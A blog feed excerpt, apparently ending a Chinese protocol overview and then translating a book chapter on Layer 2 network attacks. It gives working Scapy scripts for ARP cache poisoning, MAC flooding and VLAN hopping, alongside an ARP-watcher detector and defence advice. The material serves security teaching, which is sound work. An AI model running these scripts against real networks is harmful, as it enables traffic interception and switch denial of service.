&lt;li&gt;RARP (Reverse Address Resolution Protocol)反向地址转换协议允许局域 网的物理机器从网关服务器的 ARP 表或者缓存上请求其 IP地址。&lt;&#x2F;li&gt;
&lt;li&gt;ICMP (Internet Control Message Protocol ）Internet 控制报文协议。它是TCP&#x2F;IP 协议族的一个子协议，用于在IP 主机、路由器之间传递控制消息。&lt;&#x2F;li&gt;
&lt;li&gt;ICMPv6 :&lt;&#x2F;li&gt;
&lt;li&gt;IGMP (Internet Group Management Protocol) Internet 组管理协议,是因特 网协议家族中的一个组播协议，用于 IP 主机向任一个直接相邻的路由器报 告他们的组成员情况。&lt;&#x2F;li&gt;
&lt;li&gt;RIP (Router information protocol) 路由信息协议是一种在网关与主机之间交换路由选择信息的标准。&lt;&#x2F;li&gt;
&lt;li&gt;OSPF (Open Shortest Path Firs)开放式最短路径优先,分布式链路状态协议。&lt;&#x2F;li&gt;
&lt;li&gt;BGP（Border Gateway Protocol ）边界网关协议，用来连接Internet 上独立系统的路由选择协议.采用路径向量路由选择协议。&lt;&#x2F;li&gt;
&lt;li&gt;IS-IS （Intermediate System to Intermediate System Routing Protocol ）中间系统到中间系统的路由选择协议.&lt;&#x2F;li&gt;
&lt;li&gt;IPsec (IP Secure) “Internet 协议安全性”是一种开放标准的框架结构，通过使用加密的安全服务以确保在 Internet 协议 (IP) 网络上进行保密而安全的通讯。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;0x04-shu-ju-lian-lu-ceng&quot;&gt;0x04 数据链路层&lt;&#x2F;h5&gt;
&lt;p&gt;网络层通过源和目的地之间的一系列路由器路由数据报，为了将分组从一个结点移动到路径的下一个结点，网络层必须依靠链路层的服务。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ARQ（Automatic Repeat-reQuest ）自动重传请求协议，错误纠正协议之一，包括停止等待ARQ 协议和连续ARQ 协议，错误侦测、正面确认、逾时重传与负面确认继以重传等机制。&lt;&#x2F;li&gt;
&lt;li&gt;停止等待协议： CSMA&#x2F;CD(Carrrier Sense Multiple Access with Collision Detection)载波监听多点接入&#x2F;碰撞检测协议。总线型网络，协议的实质是载波监听和碰撞检测。载波监听即发数据前先检测总线上是否有其他计算机在发送数据，如暂时不发数据，避免碰撞。碰撞检测为计算机边发送数据边检测信道上的信号电压大小。&lt;&#x2F;li&gt;
&lt;li&gt;PPP(Point-to-Ponit Protocol)点对点协议面向字节，由三部分组成：一个将IP 数据报封装到串行链路的方法；一个用于建立、配置和测试数据链路连接的链路控制协议&lt;&#x2F;li&gt;
&lt;li&gt;LCP(Link Control Protocol) ：一套网络控制协议NCP 。&lt;&#x2F;li&gt;
&lt;li&gt;HDLC （High-Level Data Link Control ）高级数据链路控制同步网上传输数据、面向比特的数据链路层协议。&lt;&#x2F;li&gt;
&lt;li&gt;ATM （Asynchronous Transfer Mode ）异步传递方式，建立在电路交换和分组交换的基础上的一种面向连接的快速分组交换技术。 “异步”是指将ATM 信元“异步插入”到同步的 SDH 比特流中。如同步插入则用户在每帧中所占的时隙相对位置固定不变。“同步”是指网络中各链路上的比特流都是受同一非常精确的主时钟的控制。Wi-Fi 、WiMAX 、DTM 、令牌环、以太网、FDDI 、帧中继、 GPRS 、 EVDO 、HSPA 、L2TP 、ISDN
&lt;blockquote&gt;
&lt;p&gt;（迁移注：原图片缺失 &lt;code&gt;assets&#x2F;20210531195354484-20240716113400-1047iqi.png&lt;&#x2F;code&gt;，已移除）&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h5 id=&quot;0x05-feng-zhuang&quot;&gt;0x05 封装&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;scapy-basics&#x2F;network-encapsulation.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;can-kao-wen-zhang&quot;&gt;参考文章&lt;&#x2F;h5&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;blog.csdn.net&#x2F;lyf&quot;&gt;https:&#x2F;&#x2F;blog.csdn.net&#x2F;lyf&lt;&#x2F;a&gt;_ldh&#x2F;article&#x2F;details&#x2F;81806476
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;baihualin&#x2F;p&#x2F;10730513.html&quot;&gt;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;baihualin&#x2F;p&#x2F;10730513.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Python网络攻防之第二层攻击</title>
        <published>2024-07-16T00:00:00+00:00</published>
        <updated>2024-07-16T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/python网络攻防之第二层攻击/"/>
        <id>https://vercel.juzhong.asia/obsidian/python网络攻防之第二层攻击/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/python网络攻防之第二层攻击/">&lt;h1 id=&quot;pythonwang-luo-gong-fang-zhi-di-er-ceng-gong-ji&quot;&gt;Python网络攻防之第二层攻击&lt;&#x2F;h1&gt;
&lt;p&gt;本章节节选翻译自 &lt;em&gt;《Understanding Network Hacks: Attack and Defense with Python》&lt;&#x2F;em&gt; 中的第四章&lt;em&gt;Layer 2 Attacks&lt;&#x2F;em&gt;。该书通过网络层次划分介绍漏洞，并使用&lt;code&gt;Python&lt;&#x2F;code&gt;编写相关利用工具进行网络攻防，每小节均按照“&lt;code&gt;原理--代码--解释--防御&lt;&#x2F;code&gt;”的结构行文，此书也可与 &lt;em&gt;《Python黑帽子:黑客与渗透测试编程之道》&lt;&#x2F;em&gt; 相互参照学习，相信会达到较好的效果呦。另译者水平有限，如有错误还请指正与海涵。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x00-zhai-yao&quot;&gt;0x00 摘要&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;在本章第二层攻击当中，我们将进入网络&lt;code&gt;hacking&lt;&#x2F;code&gt;的奇幻之旅。让我们回顾一下，第二层是负责在以太网中，使用MAC地址来发送数据包。除了&lt;code&gt;ARP&lt;&#x2F;code&gt;攻击，我们将探讨交换机是如何应对&lt;code&gt;DOS&lt;&#x2F;code&gt;攻击的，以及如何逃逸出&lt;code&gt;VLAN&lt;&#x2F;code&gt;环境。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x01-xu-qiu-mo-kuai&quot;&gt;0x01 需求模块&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;在&lt;code&gt;Python&lt;&#x2F;code&gt;中，你不必在意原始套接字或网络字节顺序，借由&lt;code&gt;Philippe Biondi&lt;&#x2F;code&gt;编写的&lt;code&gt;Scapy&lt;&#x2F;code&gt;，具有世界上最好的数据包生成器，你可以轻松地定制数据包。既不像在&lt;code&gt;Libnet&lt;&#x2F;code&gt;和&lt;code&gt;C&lt;&#x2F;code&gt;中那样需要指针运算，也不像在&lt;code&gt;RawIP&lt;&#x2F;code&gt;和&lt;code&gt;Perl&lt;&#x2F;code&gt;中，或者是在&lt;code&gt;Scruby&lt;&#x2F;code&gt;和&lt;code&gt;Ruby&lt;&#x2F;code&gt;中，你会被有限的几种协议所束缚。&lt;code&gt;Scapy&lt;&#x2F;code&gt;可以构造从&lt;code&gt;ARP&lt;&#x2F;code&gt;到&lt;code&gt;IP&#x2F;ICMP&lt;&#x2F;code&gt;，再到&lt;code&gt;TCP&#x2F;UDP&lt;&#x2F;code&gt;和&lt;code&gt;DNS&#x2F;DHCP&lt;&#x2F;code&gt;等所有&lt;code&gt;OSI&lt;&#x2F;code&gt;层上的数据包，甚至是更不常见的协议也同样被支持，比如&lt;code&gt;BOOTP&lt;&#x2F;code&gt;, &lt;code&gt;GPRS&lt;&#x2F;code&gt;, &lt;code&gt;PPPoE&lt;&#x2F;code&gt;, &lt;code&gt;SNMP&lt;&#x2F;code&gt;, &lt;code&gt;Radius&lt;&#x2F;code&gt;, &lt;code&gt;Infrared&lt;&#x2F;code&gt;, &lt;code&gt;L2CAP&#x2F;HCI&lt;&#x2F;code&gt;, &lt;code&gt;EAP&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;现在让我们在第二层网络上，使用&lt;code&gt;Scapy&lt;&#x2F;code&gt;来制造一些麻烦吧！首先你需要用如下的命令安装它：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;pip install scapy
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在你将步入经典著名的中间人攻击！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x02-arp-cache-poisoning&quot;&gt;0x02 ARP-Cache-Poisoning&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;如果一台主机想要发送&lt;code&gt;IP&lt;&#x2F;code&gt;数据包到另一台主机，就必须预先通过使用&lt;code&gt;ARP&lt;&#x2F;code&gt;协议请求目的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址。这个询问会向网络中的所有成员广播。在一个完美的世界中，只有应答的主机是所需的目的主机。在一个不那么完美的世界中，攻击者会每隔几秒向它的受害者发送一个&lt;code&gt;ARP&lt;&#x2F;code&gt;应答报文，但是是以它自己的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址作为响应，从而重定向该连接到其自身。因为大多数的操作系统都接受它们从未询问过的应答报文，所以该攻击才会生效！&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python
import sys
import time
from scapy.all import sendp, ARP, Ether

if len(sys.argv) &amp;lt; 3:
    print sys.argv[0] + &amp;quot;: &amp;lt;target&amp;gt; &amp;lt;spoof_ip&amp;gt;&amp;quot;
    sys.exit(1)

iface = &amp;quot;eth0&amp;quot;
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip,
                psrc=fake_ip,
                op=&amp;quot;is-at&amp;quot;)
packet = ethernet &amp;#x2F; arp

while True:
        sendp(packet, iface=iface)
        time.sleep(10)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在&lt;code&gt;Scapy&lt;&#x2F;code&gt;的帮助下，我们构造了一个名为&lt;code&gt;packet&lt;&#x2F;code&gt;的数据包，里面包括一个&lt;strong&gt;Ethernet()&lt;&#x2F;strong&gt; 及一个&lt;strong&gt;ARP()&lt;&#x2F;strong&gt; 头。在ARP头部中，我们设置了受害者的IP地址（&lt;code&gt;target_ip&lt;&#x2F;code&gt;）和我们想劫持所有连接的IP地址（&lt;code&gt;fake_ip&lt;&#x2F;code&gt;）。对于最后一个参数，我们设置&lt;strong&gt;OP-Code&lt;&#x2F;strong&gt;为&lt;code&gt;is-at&lt;&#x2F;code&gt;，声明该数据包为一个ARP响应。然后&lt;code&gt;sendp()&lt;&#x2F;code&gt;函数在每次发送数据包时，都等待10秒并一直循环发送下去。&lt;&#x2F;p&gt;
&lt;p&gt;需要注意的是，你必须使用&lt;code&gt;sendp()&lt;&#x2F;code&gt;函数而不是&lt;code&gt;send()&lt;&#x2F;code&gt;函数，因为数据包应该在第二层被发送。&lt;code&gt;send()&lt;&#x2F;code&gt;则是在第三层发送数据包。&lt;&#x2F;p&gt;
&lt;p&gt;最后，要记得启用IP转发，否则你的主机会阻塞来自受害者的连接。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;sysctl net.ipv4.ip_forward = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不要忘记检查像&lt;code&gt;IPtables&lt;&#x2F;code&gt;这样的数据包过滤器的设置，使用&lt;code&gt;pf&lt;&#x2F;code&gt;或&lt;code&gt;ipfw&lt;&#x2F;code&gt;或直接禁用它，现在已经了解了足够多的枯燥的理论知识，让我们直接进入一些实用的&lt;code&gt;Python&lt;&#x2F;code&gt;代码吧！&lt;&#x2F;p&gt;
&lt;p&gt;如果你只是用&lt;code&gt;fake_ip&lt;&#x2F;code&gt;来处理客户端的&lt;code&gt;ARP&lt;&#x2F;code&gt;缓存，那么你只会得到客户端的数据包，而无法接收到服务端的响应。如下图所示。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;python-l2-attacks&#x2F;arp-poisoning-one-way-traffic.png&quot; alt=&quot;enter image description here&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如下图所示，要强制通过攻击者的主机进行双向连接，攻击者就必须使用他的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址，来伪造客户端和服务端的相关目的地址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;python-l2-attacks&#x2F;arp-spoof-mitm-topology.png&quot; alt=&quot;enter image description here&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们的第一段代码有些粗糙，它发送了大量的&lt;code&gt;ARP&lt;&#x2F;code&gt;报文，不仅产生了所需要的流量，而且也比较暴露。隐蔽的攻击者会采取另一种策略。&lt;&#x2F;p&gt;
&lt;p&gt;一台主机如果想要获取有关&lt;code&gt;IP&lt;&#x2F;code&gt;地址的信息，会发出一个&lt;code&gt;ARP&lt;&#x2F;code&gt;请求。我们将编写一个程序，等待&lt;code&gt;ARP&lt;&#x2F;code&gt;请求，并为每一个接收到的请求发送一个&lt;code&gt;ARP&lt;&#x2F;code&gt;欺骗响应。在交换环境中，这将导致每一个连接都会流经攻击者的主机，因为在&lt;code&gt;ARP&lt;&#x2F;code&gt;缓存中，每一个&lt;code&gt;IP&lt;&#x2F;code&gt;地址都会有攻击者的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址。这个攻击更加优雅，不像之前的那个那么嘈杂，但还是很容易被一个训练有素的管理员检测到。&lt;&#x2F;p&gt;
&lt;p&gt;如下图所示，欺骗性的响应数据包和真实主机的响应数据包被并行发送。谁的数据包先被受害者的网卡接收到，则谁获胜。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;python-l2-attacks&#x2F;arp-cache-poisoning-race.png&quot; alt=&quot;enter image description here&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

import sys
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) &amp;lt; 2:
    print sys.argv[0] + &amp;quot; &amp;lt;iface&amp;gt;&amp;quot;
    sys.exit(0)

def arp_poison_callback(packet):
        # Got ARP request?
        if packet[ARP].op == 1:
            answer = Ether(dst=packet[ARP].hwsrc) &amp;#x2F; ARP()
            answer[ARP].op = &amp;quot;is-at&amp;quot;
            answer[ARP].hwdst = packet[ARP].hwsrc
            answer[ARP].psrc = packet[ARP].pdst
            answer[ARP].pdst = packet[ARP].psrc

            print &amp;quot;Fooling &amp;quot; + packet[ARP].psrc + &amp;quot; that &amp;quot; + \
                    packet[ARP].pdst + &amp;quot; is me&amp;quot;

            sendp(answer, iface=sys.argv[1])

sniff(prn=arp_poison_callback,
        filter=&amp;quot;arp&amp;quot;,
        iface=sys.argv[1],
        store=0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从参数&lt;code&gt;iface&lt;&#x2F;code&gt;指定的网卡中，&lt;code&gt;sniff()&lt;&#x2F;code&gt;函数无限循环地读取数据包。将&lt;code&gt;PACP&lt;&#x2F;code&gt;过滤器设置为&lt;code&gt;arp&lt;&#x2F;code&gt;，使接收到的数据包都被自动过滤，来保证我们的回调函数&lt;code&gt;arp_poison_callback&lt;&#x2F;code&gt;在被调用时，只有&lt;code&gt;ARP&lt;&#x2F;code&gt;数据包作为输入。同时由于参数&lt;code&gt;store=0&lt;&#x2F;code&gt;，数据包将不会被存储。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;arp_poison_callback()&lt;&#x2F;code&gt;函数处理我们的实际工作。首先，它会检查&lt;code&gt;ARP&lt;&#x2F;code&gt;报文的&lt;code&gt;OP code&lt;&#x2F;code&gt;：当它是1时则为一个&lt;code&gt;ARP&lt;&#x2F;code&gt;请求，然后我们来生成一个响应包，在响应数据包中，我们将请求包中的源&lt;code&gt;MAC&lt;&#x2F;code&gt;地址和&lt;code&gt;IP&lt;&#x2F;code&gt;地址作为目的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址和&lt;code&gt;IP&lt;&#x2F;code&gt;地址。因为我们未定义源&lt;code&gt;MAC&lt;&#x2F;code&gt;地址，所以&lt;code&gt;Scapy&lt;&#x2F;code&gt;会自动插入发送数据包的网络接口地址。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ARP&lt;&#x2F;code&gt;中&lt;code&gt;IP&lt;&#x2F;code&gt;与&lt;code&gt;MAC&lt;&#x2F;code&gt;地址的对应关系会被缓存一段时间，因为它会被转储起来，对同一地址一遍又一遍地进行解析。可以用如下命令显示&lt;code&gt;ARP&lt;&#x2F;code&gt;缓存：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;arp -an
? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这依赖于操作系统和它的版本，本地配置设置及地址被缓存的时间。&lt;&#x2F;p&gt;
&lt;p&gt;为了抵御&lt;code&gt;ARP&lt;&#x2F;code&gt;欺骗攻击，一方面可以使用&lt;code&gt;ARP&lt;&#x2F;code&gt;静态表，但是这同样可以被接收到的&lt;code&gt;ARP&lt;&#x2F;code&gt;响应所覆盖，这些均依赖于操作系统对&lt;code&gt;ARP&lt;&#x2F;code&gt;的处理代码。另一方面也可以使用像&lt;code&gt;ARP watcher&lt;&#x2F;code&gt;这样的工具。&lt;code&gt;ARP watcher&lt;&#x2F;code&gt;监控&lt;code&gt;ARP&lt;&#x2F;code&gt;流量，并报告可疑行为但并不阻止。现在最先进的入侵检测系统可以检测到ARP缓存中毒攻击。你应该使用上面的代码，检查一下你的&lt;code&gt;IDS&lt;&#x2F;code&gt;，看看它是如何表现的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x03-arp-watcher&quot;&gt;0x03 ARP-Watcher&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;接下来我们编写一个小工具，来报告所有新连接到我们网络的设备，为此它必须能够记住所有&lt;code&gt;IP&lt;&#x2F;code&gt;和&lt;code&gt;MAC&lt;&#x2F;code&gt;地址的对应关系。此外，它还可以检测出一个网络设备是否突然更改了它的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys

arp_watcher_db_file = &amp;quot;&amp;#x2F;var&amp;#x2F;cache&amp;#x2F;arp-watcher.db&amp;quot;
ip_mac = {}

# Save ARP table on shutdown
def sig_int_handler(signum, frame):
        print &amp;quot;Got SIGINT. Saving ARP database...&amp;quot;
        try:
                f = open(arp_watcher_db_file, &amp;quot;w&amp;quot;)

                for (ip, mac) in ip_mac.items():
                    f.write(ip + &amp;quot; &amp;quot; + mac + &amp;quot;\n&amp;quot;)

                f.close()
                print &amp;quot;Done.&amp;quot;
        except IOError:
                print &amp;quot;Cannot write file &amp;quot; + arp_watcher_db_file
                sys.exit(1)

def watch_arp(pkt):
        # got is-at pkt (ARP response)
        if pkt[ARP].op == 2:
                print pkt[ARP].hwsrc + &amp;quot; &amp;quot; + pkt[ARP].psrc

                # Device is new. Remember it.
                if ip_mac.get(pkt[ARP].psrc) == None:
                        print &amp;quot;Found new device &amp;quot; + \
                                pkt[ARP].hwsrc + &amp;quot; &amp;quot; + \
                                pkt[ARP].psrc
                        ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

                # Device is known but has a different IP
                elif ip_mac.get(pkt[ARP].psrc) and \
                        ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
                                print pkt[ARP].hwsrc + \
                                        &amp;quot; has got new ip &amp;quot; + \
                                        pkt[ARP].psrc + \
                                        &amp;quot; (old &amp;quot; + ip_mac[pkt[ARP].psrc] + &amp;quot;)&amp;quot;
                                ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc

signal(SIGINT, sig_int_handler)

if len(sys.argv) &amp;lt; 2:
        print sys.argv[0] + &amp;quot; &amp;lt;iface&amp;gt;&amp;quot;
        sys.exit(0)

try:
        fh = open(arp_watcher_db_file, &amp;quot;r&amp;quot;)
except IOError:
        print &amp;quot;Cannot read file &amp;quot; + arp_watcher_db_file
        sys.exit(1)

for line in fh:
        line.chomp()
        (ip, mac) = line.split(&amp;quot; &amp;quot;)
        ip_mac[ip] = mac

sniff(prn=watch_arp,
        filter=&amp;quot;arp&amp;quot;,
        iface=sys.argv[1],
        store=0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;开始我们定义了一个信号处理函数&lt;code&gt;sig_int_handler()&lt;&#x2F;code&gt;，当用户中断程序时该函数会被调用。该函数会在&lt;code&gt;ip_mac&lt;&#x2F;code&gt;字典中，将所有已知的&lt;code&gt;IP&lt;&#x2F;code&gt;和&lt;code&gt;MAC&lt;&#x2F;code&gt;地址对应关系保存到一个文件当中。一开始我们读取这些&lt;code&gt;ARP db&lt;&#x2F;code&gt;文件，用目前已知的所有对应关系来初始化程序，若文件无法读取则退出。然后我们将文件内容一行一行地循环读取，把每一行分割为&lt;code&gt;IP&lt;&#x2F;code&gt;和&lt;code&gt;MAC&lt;&#x2F;code&gt;地址，将它们保存到 &lt;code&gt;ip_mac&lt;&#x2F;code&gt;字典中。我们再调用已知的&lt;code&gt;sniff()&lt;&#x2F;code&gt;函数，对每一个接收到的&lt;code&gt;ARP&lt;&#x2F;code&gt;数据包，调用回调函数&lt;code&gt;watch_arp&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;watch_arp&lt;&#x2F;code&gt;函数是整个程序中的核心逻辑部分。当嗅探到的数据包是&lt;code&gt;is-at&lt;&#x2F;code&gt;数据包时，则该数据包为一个&lt;code&gt;ARP&lt;&#x2F;code&gt;响应。紧接着我们首先检查IP是否存在于&lt;code&gt;ip_mac&lt;&#x2F;code&gt;字典中。如果我们没有发现对应条目，则其为一个新设备，并在屏幕上显示一条信息。否则我们将数据包中的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址与字典中的&lt;code&gt;MAC&lt;&#x2F;code&gt;相比较，如果不同则响应很可是伪造的，我们也在屏幕上显示一条消息。在这两种情况下，都会用新的信息来更新字典。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x04-mac-flooder&quot;&gt;0x04 MAC-Flooder&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;交换机和其他计算机一样，具有有限的内存，交换机中存放&lt;code&gt;MAC&lt;&#x2F;code&gt;地址信息的表格也同样如此，该表格记录哪个&lt;code&gt;MAC&lt;&#x2F;code&gt;地址对应哪个端口及其内部的&lt;code&gt;ARP&lt;&#x2F;code&gt;缓存。当交换机的缓冲区溢出时，它们的反应就会有些古怪。这将会导致交换机拒绝服务，以至于放弃交换行为而变得像正常的集线器。在集线器模式下，整体的高流量不会是你遇到的唯一问题，因此在没有附加操作下，所有已连接的计算机都会接收到完整的流量。你应该测试一下的你的交换机在这种意外情况下是如何反应的，接下来的脚本就可以做到这一点。它会产生随机的&lt;code&gt;MAC&lt;&#x2F;code&gt;地址，并将它们发送到你的交换机中，直到交换机的缓冲区被填满。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

import sys
from scapy.all import *

packet = Ether(src=RandMAC(&amp;quot;*:*:*:*:*:*&amp;quot;),
                        dst=RandMAC(&amp;quot;*:*:*:*:*:*&amp;quot;)) &amp;#x2F; \
                        IP(src=RandIP(&amp;quot;*.*.*.*&amp;quot;),
                            dst=RandIP(&amp;quot;*.*.*.*&amp;quot;)) &amp;#x2F; \
                        ICMP()

if len(sys.argv) &amp;lt; 2:
        dev = &amp;quot;eth0&amp;quot;
else:
        dev = sys.argv[1]

print &amp;quot;Flooding net with random packets on dev &amp;quot; + dev

sendp(packet, iface=dev, loop=1)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;RandMAC&lt;&#x2F;code&gt;和&lt;code&gt;RandIP&lt;&#x2F;code&gt;负责随机地产生地址当中的每一个字节。其余的则由&lt;code&gt;sendp()&lt;&#x2F;code&gt;函数的循环参数完成。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x05-vlan-hopping&quot;&gt;0x05 VLAN Hopping&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;因为&lt;code&gt;VLAN&lt;&#x2F;code&gt;不具备安全特性，一方面标记&lt;code&gt;VLAN&lt;&#x2F;code&gt;取决于包含&lt;code&gt;VLAN id&lt;&#x2F;code&gt;的数据包头部，使用&lt;code&gt;Scapy&lt;&#x2F;code&gt;可以很容易创建这样的数据包。现在让我们的电脑连接到&lt;code&gt;VLAN1&lt;&#x2F;code&gt;，并且尝试去&lt;code&gt;ping VLAN2&lt;&#x2F;code&gt;上的其他主机。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;#!python
#!&amp;#x2F;usr&amp;#x2F;bin&amp;#x2F;python

from scapy.all import *

packet = Ether(dst=&amp;quot;c0:d3:de:ad:be:ef&amp;quot;) &amp;#x2F; \
                Dot1Q(vlan=1) &amp;#x2F; \
                Dot1Q(vlan=2) &amp;#x2F; \
                IP(dst=&amp;quot;192.168.13.3&amp;quot;) &amp;#x2F; \
                ICMP()

sendp(packet)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首先我们设定在数据包的头部当中，包含我们的&lt;code&gt;VLAN&lt;&#x2F;code&gt;标记，再加上一个目的主机地址。交换机将会移除第一个标记，并不决定如何处理该数据包，当它看到第二个标记&lt;code&gt;VLAN id 2&lt;&#x2F;code&gt; 的时候，则决定转发到这个&lt;code&gt;vlan&lt;&#x2F;code&gt;。如果交换机连接到其他通过堆叠启用的&lt;code&gt;VLAN&lt;&#x2F;code&gt;交换机，这种攻击只会是成功的，否则它们就是使用的基于端口的&lt;code&gt;VLAN&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x06-let-s-play-switch&quot;&gt;0x06 Let’s Play Switch&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;code&gt;Linux&lt;&#x2F;code&gt;可以运行在许多嵌入式网络设备上；因此凭借&lt;code&gt;Linux&lt;&#x2F;code&gt;操作系统，人们可以把自己的电脑变成一台功能齐全的&lt;code&gt;VALN&lt;&#x2F;code&gt;交换机，这并不令人惊奇。你只需要&lt;code&gt;vconfig&lt;&#x2F;code&gt;这种工具就够了。在根据你的操作系统安装所需的数据包后，通过以下的命令，你可以将你的主机加入到另一个&lt;code&gt;VLAN&lt;&#x2F;code&gt;环境中。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;vconfig add eth0 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后你必须记住启动新设备，并给它一个&lt;code&gt;VLAN&lt;&#x2F;code&gt;网络中的&lt;code&gt;IP&lt;&#x2F;code&gt;地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;ifconfig eth0.1 192.168.13.23 up
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;0x07-arp-spoofing-over-vlan-hopping&quot;&gt;0x07 ARP Spoofing Over VLAN Hopping&lt;&#x2F;h2&gt;
&lt;hr &#x2F;&gt;
